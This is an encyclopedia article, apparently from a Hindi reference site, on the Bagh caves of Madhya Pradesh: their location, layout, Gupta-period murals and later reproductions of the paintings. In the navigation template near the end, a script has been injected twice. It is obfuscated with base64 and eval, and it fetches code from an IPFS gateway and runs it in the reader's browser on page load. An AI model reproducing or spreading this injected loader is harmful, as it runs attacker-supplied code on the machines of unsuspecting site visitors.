बाघ की गुफ़ाएं

भारत डिस्कवरी प्रस्तुति
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bagh ki gufaean
vivaran bagh ki gufaean prachin bharat ke svarnim yug ki advitiy den haian. in gufaoan mean buddh, boghisatv chitroan ke atirikt rajadarabar, sangit drishy, pushpamala drishy adi ka chitran mahattvapoorn hai.
rajy madhy pradesh
zila dhar zila
nirman kal in gufaoan ka nirman sambhavatah 5vian-6vian shatabdi ee. mean hua tha.
prasiddhi ye gufaean apane bhittichitroan ke lie bahut prasiddh haian.
any janakari lagabhag 1600 varsh poorv 'bagh ki gufaean' bhagavan buddh ki divyavarta pratipadit karane hetu nirmit evan chitrit ki gayi thian. yahaan ki kala mean ajanta ke saman keval dharmik vishay hi nahian haian, apitu inamean manavochit bhavoan ke chitran mean vegapoorn pravah bhi hai.

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vagh ki gufaean madhy pradesh mean indaur ke pas dhar mean sthit haian. vagh ki gufaean prachin bharat ke svarnim yug ki advitiy den haian. vagh ki gufaean iandaur se uttar-pashchim mean lagabhag 90 mil ki doori par, badhini namak chhoti si nadi ke bayean tat par aur vindhy parvat ke dakshin dhalan par sthit haian. bagh-kukshi marg se tho da hatakar bagh ki gufaean bagh gram se paanch mil door haian. yah sthal us vishal prachin marg par sthit hai, jo uttar se ajanta hokar sudoor dakshin tak jata hai. eesapoorv tisari shatabdi aur eesvi sanh ki 7vian shatabdi ke madhy, jab bharat ke pashchimi bhag mean bauddh dharm apani khyati ki parakashtha par tha. isi samay chin ke bauddh dharm ke mahanh vidvanh yatri huenasaang, fahyan aur suanataee madhy aur pashchimi bharat aye the.

nirman

isamean kul 9 gufaean haian, jinamean se 1,7,8 aur 9vian gupha nashtapray hai tatha gupha sankhya 2 'pandav gufa' ke nam se prachalit hai jabaki tisari gupha 'hathikhana' aur chauthi rangamahal ke nam se jani jati hai. in gupha ka nirman sambhavatah 5vi-6vian shatabdi ee. mean hua hoga.

lagabhag 1600 varsh poorv bagh ki gufaean bhagavan buddh ki divyavarta pratipadit karane hetu nirmit evan chitrit ki gayi thian. dharmik saurabh, sauandaryanubhooti ka spandan, sarita ki sugam sthiti aur usake layapoorn pravah se prabhavit bhikshuoan ka jivan atyant sahajata se ek adarsh dhaanche mean dhalata raha tatha nishthavan upasakoan ko abhootapoorv paripakvata prapt hoti rahi. viharoan ko naitik unnati evan nirdeshan ke uddeshy ki poorti karane vale bhitti-chitr paryapt samay se susajjit karate rahe haian. viharoan mean chitr alankaran ka varnan mool saravastivadin sampraday ke vinay mean paya jata hai. bauddh sahity se jnat hota hai ki chitrakala ka poorn prachar buddh jivanakal mean hi ho chuka tha. bhittichitroan mean phool, pakshi v pashuoan ka chitran mahattvapoorn hai. kamal pushp moorti tatha chitrakala donoan mean hi lokapriy hai, jo pavitrata ke atirikt yah shuddhata v sadguann ka pratik hai. bagh ki gufaoan mean buddh, boghisatv chitroan ke atirikt rajadarabar, sangit drishy, pushpamala drishy adi ka chitran mahattvapoorn hai.

bagh ki kala mean ajanta ke saman keval dharmik vishay hi nahian haian, yahaan par manavochit bhavoan ke chitran mean vegapoorn pravah bhi hai. yahaan ke prakritik sauandary ne chitrakala mean jo yogadan diya hai, yahaan  par chitrit virat drishy usake pratyaksh praman hai. nadi, paha d, jangal adi ke asimit bhoo-drishy b de manohar haian. chahean lata vallari ho athava gho de v hathi, raja ho ya sannyasi, nrity-sangit ho ya yuddh kshetr, karun ras ho ya shrriangar sabhi mean kalakar ki sahaj kushalata ka parichay milata hai.

pragaitihasik kal mean hi bagh evan ajanta ki chitrakari ki parampara praranbh ho chuki thi. yah parampara us manaviy anubhooti ko darshati hai, jo jivan v dharm par kendrit thi. bhopal ki shyamala paha di par bane navanirmit rajy puratattv sangrahalay ki bagh peantigs vithi aur goojari mahal sangrahalay gvaliyar mean madhy pradesh ke dhar zile ki suprasiddh bagh gufaoan ke kee mahattvapoorn bhittichitroan ki anukritiyaan hai jo darshako aur kalapremiyoan ko mantramugdh kar deti hai. bagh gufa ke chitr 1907-1908 se pun: sansar ke samane ae haian. viandhy parvat ka yah aansh malava kshetr mean dhar zile ki kukshi tahasil ke aantargat hai. narmada ki ek chhoti si karad nadi jisaka nam baghani ya bagh hai usi ke karan yahaan ki gufaoan ka nam aur pas ke gaanv ka nam bagh p da hai. yahaan kul 9 gufaean haian. ye 9 gufaean apas mean mili huee nahian hai. inamean chauthi evan paanchavi gufaoan se mila 65 mitar lamba baramada (k aauridor) hai. jisaki chhat 20 bhari khamboan par chhat avrit thi.

gufaoan ka vivaran

bagh ki gufa sankhya 1 se 9 tak mean kaksh, stambh, lambe baramade, kothariyaan, shailakrit stoop, buddhapratima, bodhisatv, avalokiteanr maitrey, nadi deviyoan adi ka aankan hai. bagh ki gufa sankhya 2, 3, 4, 5, evan 7 mean bhittichitr haian, gufa mean 6 drishyoan ka aankan hai. bagh gufaoan ke chitroan ki shaili ajanta ke saman hai tatha ye ajanta ke samakalin hai. bagh gufaoan  ke bhittichitroan mean phool, pakshi v pashuoan ka chitran vishesh mahattvapoorn hai. bagh gufaoan ke alankaran ajanta jaise nahian haian kiantu yahaan  kamal ki jhuramut vasali bel mean vahaan se adhik pravah haian. ye bhittichitr ajanta ke saman choone ki gach (palastar) par bane the. vartaman mean bagh gufaoan ke samast bhittichitr nasht ho chuke hai. ye chitr guptakalin 5-6 vi shati ee. ke hai. sanh 1921 mean tatkalin gvaliyar rajy ke puratattv vibhag dvarapratishthit kalakaroan shri e.ke. haladar, nandalal bos adi ke dvara gvaliyar stet ke sanrakshan mean inake chitroan ki anukritiy aau kainavas par taiyar ki gee thian. sanh 1927 mean iandiya sosaiti ne inaka monogram prakashit kiya tha. varsh 1938 mean es.kachadoyin dvara bhi kenavas par bagh peantig banayi gee. inhian akritiyoan ko is vithi mean pradarshit kiya gaya hai.[1]

gufa sankhya 2 ka sarv prasiddh chitr padmapani buddh ka hai. is chitr mean mukhakriti saumy hai tatha abhooshan v pushpoan se sharir ke bhag sansajjit hai. ardh nirmilit palakoan ne mukh ki saumyata ko dvigunit kar diya hai. shnrity evan sangit drishyabagh ki gufa sankhya 4 jo rangamahal nam se vikhyat hai, ki pratikriti hai. isamean suandar alp vastr dharan kie nartakiyoan ko ghera banakar nrity karate hue aankit kiya gaya hai. in yuvitayoan ke keshavinyas tatha rang birange vastr lambi baanhoan tatha phoolakadhi kamijoan ko spashtata se ukera gaya hai. ye yuvatiyaan vibhinn vady yantr lie hue nrity kar rahi haian. inamean ek mridanga baja rahi hai tatha tin yuvatiyoan hath mean chhote-chhote dande lekar nrity kar rahi haian tatha shesh tin kaansy thal baja rahi haian. is drishy ka samagr prabhav atyant hyadayagrahi hai. navayuvatiyoan ke vastr, kesh vinyas, vady yantr tatkalin vaibhav ke pratik haian.

gufa sankhya 4 mean aankit rajakumar ka chal samaroh drishy tatkalin aishvary ka sudanratam udaharan hai. is drishy mean rajakumar hathi par savar hai tatha 6 hathiyoan evan 3 gho doan evan samaroh mean chal rahe vibhinn vyaktiyoan ko bariki se ukera gaya hai. drishy ke pichhe chaityagrih ka aankan bhi hua hai. gufa sankhya 4 mean hi ek samooh chitran mean matr ek mahila ko hath mean vina lie aankan shesh hai. vina ko dekhakar sahaj hi anuman kiya ja sakata hai ki is samooh ke any sadasyoan ke hath mean bhi vibhinn vady rahe hoange. gufa sankhya 2 ke chitroan mean buddh dharmachakr pravartak mudra mean, upadesh dete buddh evan bodhisatv ke prabhamandal sahit haian. gufa sankhya 4 any chitroan ki anukritiyoan mean akash mean sangit, drishy, hathi evan gho doan ke chitr, sangit drishy tatha lata vallari v rekhachitroan ko pradarshit kiya gaya hai.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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tika tippani aur sandarbh

  1. ↑ vagh ki gufaean (hindi) hindi midiya d aaut in. abhigaman tithi: 28 aktoobar, 2010.

sanbandhit lekh

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madhy pradesh ke paryatan sthal
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[[Template:vishv virasat sthal2<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|dekhean]] • [[|varta]] • [{{fullurl:Template:vishv virasat sthal2<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|action=edit}}badalean]
vishv virasat sthal

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varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah

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